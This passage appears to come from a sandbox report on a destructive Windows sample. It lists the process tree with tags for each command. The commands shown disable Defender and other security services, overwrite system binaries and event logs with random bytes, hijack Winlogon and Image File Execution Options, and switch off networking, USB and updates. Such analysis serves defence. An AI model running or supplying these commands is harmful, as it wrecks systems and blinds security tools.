- C:\Windows\system32\sc.exe
  sc failure WdNisSvc reset= 86400 actions= restart/0
  2⤵
  PID:452
- C:\Windows\system32\sc.exe
  sc stop Sense
  2⤵
  - Launches sc.exe
  PID:4868
- C:\Windows\system32\sc.exe
  sc config Sense start= disabled
  2⤵
  - Launches sc.exe
  PID:4828
- C:\Windows\system32\sc.exe
  sc failure Sense reset= 86400 actions= restart/0
  2⤵
  - Launches sc.exe
  PID:1784
- C:\Windows\system32\sc.exe
  sc stop WdFilter
  2⤵
  - Launches sc.exe
  PID:2700
- C:\Windows\system32\sc.exe
  sc config WdFilter start= disabled
  2⤵
  - Launches sc.exe
  PID:1280
- C:\Windows\system32\sc.exe
  sc failure WdFilter reset= 86400 actions= restart/0
  2⤵
  - Launches sc.exe
  PID:1276
- C:\Windows\system32\sc.exe
  sc stop WebThreatDefSvc
  2⤵
  - Launches sc.exe
  PID:1080
- C:\Windows\system32\sc.exe
  sc config WebThreatDefSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:700
- C:\Windows\system32\sc.exe
  sc failure WebThreatDefSvc reset= 86400 actions= restart/0
  2⤵
  PID:1104
- C:\Windows\system32\sc.exe
  sc stop MsSecCore
  2⤵
  - Launches sc.exe
  PID:3924
- C:\Windows\system32\sc.exe
  sc config MsSecCore start= disabled
  2⤵
  - Launches sc.exe
  PID:2604
- C:\Windows\system32\sc.exe
  sc failure MsSecCore reset= 86400 actions= restart/0
  2⤵
  PID:4380
- C:\Windows\system32\sc.exe
  sc stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4920
- C:\Windows\system32\sc.exe
  sc config wscsvc start= disabled
  2⤵
  PID:4208
- C:\Windows\system32\sc.exe
  sc failure wscsvc reset= 86400 actions= restart/0
  2⤵
  PID:4256
- C:\Windows\system32\sc.exe
  sc stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:2844
- C:\Windows\system32\sc.exe
  sc config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:368
- C:\Windows\system32\sc.exe
  sc failure SecurityHealthService reset= 86400 actions= restart/0
  2⤵
  - Launches sc.exe
  PID:1480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "$sig = '[DllImport(\"user32.dll\")]public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);[DllImport(\"user32.dll\")]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport(\"kernel32.dll\")]public static extern IntPtr GetConsoleWindow();'; Add-Type -MemberDefinition $sig -Name 'Win32' -Namespace 'API'; $h = [API.Win32]::FindWindow('ConsoleWindowClass', $null); while($h -ne [IntPtr]::Zero){ [API.Win32]::ShowWindow($h, 9); [API.Win32]::ShowWindow($h, 5); Start-Sleep -Milliseconds 100; $h = [API.Win32]::FindWindow('ConsoleWindowClass', $h) }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4712
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yzqfhcjd\yzqfhcjd.cmdline"
    3⤵
    PID:2344
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2556.tmp" "c:\Users\Admin\AppData\Local\Temp\yzqfhcjd\CSC8EF5188CF74D40FA84DDC55ED3229891.TMP"
      4⤵
      PID:1380
- C:\Windows\system32\ipconfig.exe
  ipconfig /flushdns
  2⤵
  - Gathers network information
  PID:1536
- C:\Windows\system32\netsh.exe
  netsh interface ip delete arpcache
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4360
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh interface show interface | find "Connected"
  2⤵
  PID:2944
- - C:\Windows\system32\netsh.exe
    netsh interface show interface
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:4988
- - C:\Windows\system32\find.exe
    find "Connected"
    3⤵
    PID:4220
- C:\Windows\system32\netsh.exe
  netsh interface ip set dns "" static 0.0.0.0
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1032
- C:\Windows\system32\netsh.exe
  netsh interface ip add dns "" 0.0.0.0 index=2
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2104
- C:\Windows\system32\attrib.exe
  attrib +r +a +s +h C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Sets file to hidden
  - Views/modifies file attributes
  PID:3076
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\wpr.exe" /a
  2⤵
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:4228
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\wpa.exe" /a
  2⤵
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:2652
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\wpr.exe" /grant Everyone:F /c /q
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1816
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\wpa.exe" /grant Everyone:F /c /q
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$f='C:\Windows\System32\wpr.exe'; $fs=[System.IO.File]::OpenWrite($f); $b=[byte[]]::new($fs.Length); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:212
- C:\Windows\system32\net.exe
  net localgroup "Performance Log Users" /delete
  2⤵
  - Indicator Removal: Network Share Connection Removal
  PID:4088
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup "Performance Log Users" /delete
    3⤵
    - Indicator Removal: Network Share Connection Removal
    PID:4692
- C:\Windows\system32\powercfg.exe
  powercfg -delete scheme *
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3596
- C:\Windows\system32\powercfg.exe
  powercfg -h off
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2024
- C:\Windows\system32\powercfg.exe
  powercfg -change standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4156
- C:\Windows\system32\powercfg.exe
  powercfg -change standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:716
- C:\Windows\system32\powercfg.exe
  powercfg -change hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:5100
- C:\Windows\system32\powercfg.exe
  powercfg -change hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1468
- C:\Windows\system32\powercfg.exe
  powercfg -change monitor-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3648
- C:\Windows\system32\powercfg.exe
  powercfg -change monitor-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2808
- C:\Windows\system32\powercfg.exe
  powercfg -change disk-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:956
- C:\Windows\system32\powercfg.exe
  powercfg -change disk-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4404
- C:\Windows\system32\powercfg.exe
  powercfg -setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:812
- C:\Windows\system32\powercfg.exe
  powercfg -setacvalueindex scheme_current sub_processor perfboostmode 2
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4908
- C:\Windows\system32\powercfg.exe
  powercfg -setacvalueindex scheme_current sub_processor procthrottlemax 100
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4732
- C:\Windows\system32\powercfg.exe
  powercfg -setacvalueindex scheme_current sub_processor procthrottlemin 100
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3888
- C:\Windows\system32\powercfg.exe
  powercfg -setacvalueindex scheme_current sub_processor PERFINCPOL 2
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2748
- C:\Windows\system32\powercfg.exe
  powercfg -setdcvalueindex scheme_current sub_processor PERFINCPOL 2
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3348
- C:\Windows\system32\powercfg.exe
  powercfg -x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3416
- C:\Windows\system32\powercfg.exe
  powercfg -x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4120
- C:\Windows\system32\powercfg.exe
  powercfg -x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3644
- C:\Windows\system32\powercfg.exe
  powercfg -x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4968
- C:\Windows\system32\powercfg.exe
  powercfg -x -disk-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:948
- C:\Windows\system32\powercfg.exe
  powercfg -x -disk-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1688
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Power" /v CsEnabled /t REG_DWORD /d 0 /f
  2⤵
  PID:2360
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Power" /v AwayModeEnabled /t REG_DWORD /d 1 /f
  2⤵
  PID:2700
- C:\Windows\system32\powercfg.exe
  powercfg /setactive scheme_current
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1280
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Power" /v HiberbootEnabled /t REG_DWORD /d 0 /f
  2⤵
  PID:1276
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Power" /v HibernateEnabled /t REG_DWORD /d 0 /f
  2⤵
  PID:1080
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\systray.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:700
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\systray.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:544
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\Blind Access" /v On /t REG_SZ /d 1 /f
  2⤵
  PID:3896
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\Keyboard Response" /v On /t REG_SZ /d 1 /f
  2⤵
  PID:4236
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\SoundSentry" /v On /t REG_SZ /d 1 /f
  2⤵
  PID:5024
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Accessibility\ShowSounds" /v On /t REG_SZ /d 1 /f
  2⤵
  PID:4252
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility" /v AdministratorOverride /t REG_DWORD /d 1 /f
  2⤵
  PID:4172
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\System32\corrupted.exe" /f
  2⤵
  - Modifies WinLogon for persistence
  PID:4904
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "C:\Windows\System32\corrupted.exe" /f
  2⤵
  - Modifies WinLogon for persistence
  PID:4532
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\LogonUI.exe" /a
  2⤵
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:4764
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\userinit.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:4748
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\LogonUI.exe" /grant Everyone:F /c /q
  2⤵
  - Possible privilege escalation attempt
  PID:1176
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\userinit.exe" /grant Everyone:F /c /q
  2⤵
  - Possible privilege escalation attempt
  PID:3292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$f='C:\Windows\System32\LogonUI.exe'; $fs=[System.IO.File]::OpenWrite($f); $b=[byte[]]::new($fs.Length); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$f='C:\Windows\System32\userinit.exe'; $fs=[System.IO.File]::OpenWrite($f); $b=[byte[]]::new($fs.Length); (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes($b); $fs.Write($b,0,$b.Length); $fs.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3876
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\sethc.exe" /a
  2⤵
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:1232
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\utilman.exe" /a
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3740
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\sethc.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3700
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\utilman.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:4428
- C:\Windows\system32\sc.exe
  sc stop EventLog
  2⤵
  - Launches sc.exe
  PID:1696
- C:\Windows\system32\sc.exe
  sc config EventLog start= disabled
  2⤵
  - Launches sc.exe
  PID:3116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-WinEvent -ListLog * | ForEach-Object { try{ [System.IO.File]::WriteAllBytes($_.LogFilePath, (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes(65536)) } catch{} }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1464
- C:\Windows\system32\sc.exe
  sc stop Schedule
  2⤵
  PID:516
- C:\Windows\system32\sc.exe
  sc config Schedule start= disabled
  2⤵
  PID:3408
- C:\Windows\system32\schtasks.exe
  schtasks /delete /tn * /f
  2⤵
  PID:4320
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\Tasks" /r /d y
  2⤵
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:4592
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\Tasks" /grant "Admin:F" /t /c /q
  2⤵
  PID:212
- C:\Windows\system32\sc.exe
  sc stop WSearch
  2⤵
  PID:1764
- C:\Windows\system32\sc.exe
  sc config WSearch start= disabled
  2⤵
  PID:1524
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Windows Search" /v DisableIndexing /t REG_DWORD /d 1 /f
  2⤵
  PID:3928
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f
  2⤵
  PID:916
- C:\Windows\system32\sc.exe
  sc stop TermService
  2⤵
  PID:3336
- C:\Windows\system32\sc.exe
  sc config TermService start= disabled
  2⤵
  - Launches sc.exe
  PID:716
- C:\Windows\system32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /f
  2⤵
  PID:5100
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\mstsc.exe" /a
  2⤵
  PID:1468
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\mstsc.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:884
- C:\Windows\system32\sc.exe
  sc stop Spooler
  2⤵
  PID:2036
- C:\Windows\system32\sc.exe
  sc config Spooler start= disabled
  2⤵
  PID:956
- C:\Windows\system32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Print" /f
  2⤵
  - Boot or Logon Autostart Execution: Port Monitors
  - Boot or Logon Autostart Execution: Print Processors
  PID:1240
- C:\Windows\system32\sc.exe
  sc stop Audiosrv
  2⤵
  - Launches sc.exe
  PID:3716
- C:\Windows\system32\sc.exe
  sc config Audiosrv start= disabled
  2⤵
  - Launches sc.exe
  PID:2748
- C:\Windows\system32\sc.exe
  sc stop AudioEndpointBuilder
  2⤵
  PID:2952
- C:\Windows\system32\sc.exe
  sc config AudioEndpointBuilder start= disabled
  2⤵
  - Launches sc.exe
  PID:4560
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\drivers\audiodg.exe" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:452
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\drivers\audiodg.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  PID:4868
- C:\Windows\system32\reg.exe
  reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Audio" /f
  2⤵
  PID:2096
- C:\Windows\system32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2188
- C:\Windows\system32\sc.exe
  sc config WaaSMedicSvc start= disabled
  2⤵
  PID:3748
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\waasmedic.exe" /a
  2⤵
  PID:3544
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\waasmedic.exe" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:1068
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
  2⤵
  PID:1260
- C:\Windows\system32\netsh.exe
  netsh int ipv4 uninstall
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1104
- C:\Windows\system32\netsh.exe
  netsh int ipv6 uninstall
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2844
- C:\Windows\system32\netsh.exe
  netsh winsock reset catalog
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1380
- C:\Windows\system32\netsh.exe
  netsh int ip reset all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1044
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v DisableDHCPMediaSense /t REG_DWORD /d 1 /f
  2⤵
  PID:3780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic nic where "NetEnabled=true" get index /format:value | find "="
  2⤵
  PID:4360
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic nic where "NetEnabled=true" get index /format:value
    3⤵
    PID:1780
- - C:\Windows\system32\find.exe
    find "="
    3⤵
    PID:3388
- C:\Windows\System32\Wbem\WMIC.exe
  wmic nic where index=Index=1 call disable
  2⤵
  PID:3116
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Security Center" /v AntiSpywareOverride /t REG_DWORD /d 1 /f
  2⤵
  PID:1580
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Security Center" /v AntiVirusOverride /t REG_DWORD /d 1 /f
  2⤵
  - Windows security bypass
  PID:3076
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Security Center" /v FirewallOverride /t REG_DWORD /d 1 /f
  2⤵
  - Windows security bypass
  PID:4104
- C:\Windows\system32\sc.exe
  sc stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1876
- C:\Windows\system32\sc.exe
  sc config wscsvc start= disabled
  2⤵
  PID:1304
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\config\RegBack" /a
  2⤵
  - Possible privilege escalation attempt
  PID:1028
- C:\Windows\system32\fsutil.exe
  fsutil behavior set disablelastaccess 1
  2⤵
  PID:4108
- C:\Windows\system32\reg.exe
  reg save HKLM\SYSTEM "C:\Users\Admin\AppData\Local\Temp\system.hiv"
  2⤵
  - OS Credential Dumping: Security Account Manager
  PID:116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "[System.IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Local\Temp\system.hiv', (New-Object System.Security.Cryptography.RNGCryptoServiceProvider).GetBytes(1))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4188
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\CrashControl" /v CrashDumpEnabled /t REG_DWORD /d 0 /f
  2⤵
  PID:892
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\CrashControl" /v LogEvent /t REG_DWORD /d 0 /f
  2⤵
  PID:3596
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\CrashControl" /v SendAlert /t REG_DWORD /d 0 /f
  2⤵
  PID:1956
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v Disabled /t REG_DWORD /d 1 /f
  2⤵
  PID:4956
- C:\Windows\system32\sc.exe
  sc stop eDrive
  2⤵
  - Launches sc.exe
  PID:2036
- C:\Windows\system32\sc.exe
  sc config eDrive start= disabled
  2⤵
  - Launches sc.exe
  PID:3728
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Storage\DeviceEncryption" /v PreventDeviceEncryption /t REG_DWORD /d 1 /f
  2⤵
  PID:5012
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\drivers\EhStorClass.sys" /a
  2⤵
  PID:2372
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\drivers\EhStorClass.sys" /deny Everyone:(X)
  2⤵
  - Possible privilege escalation attempt
  PID:2236
- C:\Windows\system32\sc.exe
  sc stop WbioSrvc
  2⤵
  PID:4808
- C:\Windows\system32\sc.exe
  sc config WbioSrvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3224
- C:\Windows\system32\reg.exe
  reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Biometrics" /f
  2⤵
  PID:2000
- C:\Windows\system32\sc.exe
  sc stop AppIDSvc
  2⤵
  PID:3148
- C:\Windows\system32\sc.exe
  sc config AppIDSvc start= disabled
  2⤵
  PID:3888
- C:\Windows\system32\reg.exe
  reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2" /f
  2⤵
  PID:3348
- C:\Windows\system32\reg.exe
  reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\AppLocker" /f
  2⤵
  PID:3028
- C:\Windows\system32\gpupdate.exe
  gpupdate /force
  2⤵
  PID:2952
- C:\Windows\system32\sc.exe
  sc stop TokenBroker
  2⤵
  PID:2188
- C:\Windows\system32\sc.exe
  sc config TokenBroker start= disabled
  2⤵
  - Launches sc.exe
  PID:3748
- C:\Windows\system32\sc.exe
  sc stop wlidsvc
  2⤵
  PID:1280
- C:\Windows\system32\sc.exe
  sc config wlidsvc start= disabled
  2⤵
  PID:3020
- C:\Windows\system32\reg.exe
  reg delete "HKLM\SOFTWARE\Microsoft\IdentityStore" /f
  2⤵
  PID:2392
- C:\Windows\system32\reg.exe
  reg delete "HKCU\SOFTWARE\Microsoft\IdentityStore" /f
  2⤵
  PID:4768
- C:\Windows\system32\sc.exe
  sc stop WudfSvc
  2⤵
  - Launches sc.exe
  PID:4208
- C:\Windows\system32\sc.exe
  sc config WudfSvc start= disabled
  2⤵
  PID:2804
- C:\Windows\system32\sc.exe
  sc stop WUDFPf
  2⤵
  - Launches sc.exe
  PID:612
- C:\Windows\system32\sc.exe
  sc config WUDFPf start= disabled
  2⤵
  PID:4704
- C:\Windows\system32\sc.exe
  sc stop wudfrd
  2⤵
  - Launches sc.exe
  PID:3200
- C:\Windows\system32\sc.exe
  sc config wudfrd start= disabled
  2⤵
  PID:1176
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\WudfSvc" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:3824
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WUDF" /v ServiceHostProcessId /t REG_DWORD /d 0 /f
  2⤵
  PID:4532
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\drivers\WudfRd.sys" /a
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3484
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\drivers\WudfRd.sys" /deny Everyone:(X)
  2⤵
  - Modifies file permissions
  PID:4964
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\Dism" /r /d y
  2⤵
  PID:672
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\Dism" /deny Everyone:(X) /t /c /q
  2⤵
  - Possible privilege escalation attempt
  PID:4748
- C:\Windows\system32\reg.exe
  reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" /f
  2⤵
  PID:2116
- C:\Windows\system32\sc.exe
  sc stop TrustedInstaller
  2⤵
  PID:2468
- C:\Windows\system32\sc.exe
  sc config TrustedInstaller start= disabled
  2⤵
  PID:1380
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" /v Disabled /t REG_DWORD /d 1 /f
  2⤵
  PID:2328
- C:\Windows\system32\w32tm.exe
  w32tm /unregister
  2⤵
  PID:636
- C:\Windows\system32\sc.exe
  sc stop w32time
  2⤵
  PID:1148
- C:\Windows\system32\sc.exe
  sc config w32time start= disabled
  2⤵
  - Launches sc.exe
  PID:1032
- C:\Windows\system32\sc.exe
  sc delete w32time
  2⤵
  PID:2240
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\w32time.dll" /a
  2⤵
  - Modifies file permissions
  PID:1200
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\w32tm.exe" /a
  2⤵
  - Possible privilege escalation attempt
  PID:1060
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\w32time.dll" /grant Everyone:F /c /q
  2⤵
  - Modifies file permissions
  PID:1780
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\w32tm.exe" /grant Everyone:F /c /q
  2⤵
  - Possible privilege escalation attempt
  PID:3480
- C:\Windows\system32\klist.exe
  klist purge
  2⤵
  PID:4388
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:2312
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\usbhub" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:1304
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\usbehci" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:516
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\usbohci" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:772
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\usbuhci" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:3948
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\usbxhci" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:1524
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\BTHUSB" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:2684
